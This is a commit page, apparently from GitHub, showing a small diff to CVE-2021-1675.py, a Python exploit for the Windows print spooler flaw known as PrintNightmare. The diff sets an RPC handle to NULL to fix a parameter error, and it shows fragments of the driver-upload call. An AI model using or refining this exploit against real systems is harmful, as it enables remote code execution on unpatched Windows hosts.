fixed ERROR_INVALID_PARAMETER

Signed-off-by: cube0x0 <vidfelt@protonmail.com>
pull/21/head
cube0x0 3 years ago
parent 60f0785e58
commit 261b685fbc
  1. 4
      CVE-2021-1675.py

@ -1,6 +1,7 @@
#!/usr/bin/python3
from impacket.dcerpc.v5 import rprn
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.dtypes import NULL
import argparse
import sys
import time
@ -45,7 +46,8 @@ def main(username, password, domain, lmhash, nthash, address, port, share):
flags = rprn.APD_COPY_ALL_FILES | 0x10 | 0x8000
handle = "\\\\{0}\x00".format(address)
#handle = "\\\\{0}\x00".format(address)
handle = NULL
filename = share.split("\\")[-1]
print("[*] Uploading {0}".format(share))

Loading…
Cancel
Save